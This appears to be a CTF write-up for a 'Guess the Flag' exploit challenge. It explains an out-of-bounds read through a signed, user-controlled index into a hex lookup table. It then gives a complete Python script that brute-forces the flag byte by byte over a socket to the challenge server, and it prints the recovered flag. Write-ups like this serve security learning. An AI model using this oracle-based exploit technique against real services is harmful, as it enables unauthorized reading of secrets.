Skip to content Skip to navigation

Guess the Flag (Exploit - 200)

Category: 

Description:

Look at that guy over there! He's a bandit from the group that robs the stagecoaches in unpredictable intervals. I think he hasn't been with them for very long, so he can't tell whether you're one of them. Try to look like a bandit and talk to him. He probably won't just tell you their plan for the attack, but maybe you can ask him some questions?

Download
nc wildwildweb.fluxfingers.net 1412

Solution:

So we have source code and binary. One look is enough to notice a strange thing in function is_flag_correct: obviously constant global varibales bin_by_hex and flag defined localy! Now we can concentrate in searching vuln and find it in function is_flag_correct:

    char value1 = bin_by_hex[flag_hex[i*2  ]];
    char value2 = bin_by_hex[flag_hex[i*2+1]];

where flag_hex is a user controlled array on signed bytes! So we can access memory out of array bin_by_hex.

In binary we see that we can access flag variable in stack:

So exploitation idea is to send flag of next type: 

sendFlag = known_flag_part + "%02x"%(brute_byte)
sendFlag += ''.join([hex_by_pass_el_index(i) for i in range(len(sendFlag),50)])

where hex_by_pass_el_index(i) gives two bytes that cause program to fetch i-th element of original flag. And we get success message when brute_byte is valid and fail message otherwise.

Here is the full exploit code:

import string
import socket
ERR_SUCCESS = 0
ERR_CONNECT = -1
ERR_INVALID_FLAG = -2

host = 'wildwildweb.fluxfingers.net'
port = 1412
def hex_by_pass_el_index(i):
	return '0'+chr(0xC0+i)
def build_hex_pass_guesser(p):
	r = ''
	for i in range(len(p)):
		if p[i]!=None:
			r += "%02x"%(ord(p[i]))
		else:
			r += hex_by_pass_el_index(i)
	return r

def is_valid(s,p):
	buf = s.recv(10000)
	if 'guess' not in buf:
		return ERR_CONNECT
	s.send(p+'\n')
	buf = s.recv(10000)
	if 'Nope' not in buf:
		return ERR_SUCCESS
	else:
		return ERR_INVALID_FLAG

def brute(alph = string.printable):
	s = None
	p = [None]*50
	for k in range(5,len(p)-1):
		i=0
		while True:
			if s==None:
				s = socket.create_connection((host,port))
				s.settimeout(5)
				s.recv(50000)
			p[k] = alph[i]
			my_hex_pass = build_hex_pass_guesser(p)
			bVal = is_valid(s,my_hex_pass)
			#print(k,i,p,bVal)
			if bVal==ERR_SUCCESS:
				break
			if bVal==ERR_CONNECT:
				s.close()
				s=None
			if bVal==ERR_INVALID_FLAG:
				i += 1
		print(p)
	return p

print(''.join(brute()))

And the flag is: flag{6974736a7573746c696b65696e7468656d6f76696573}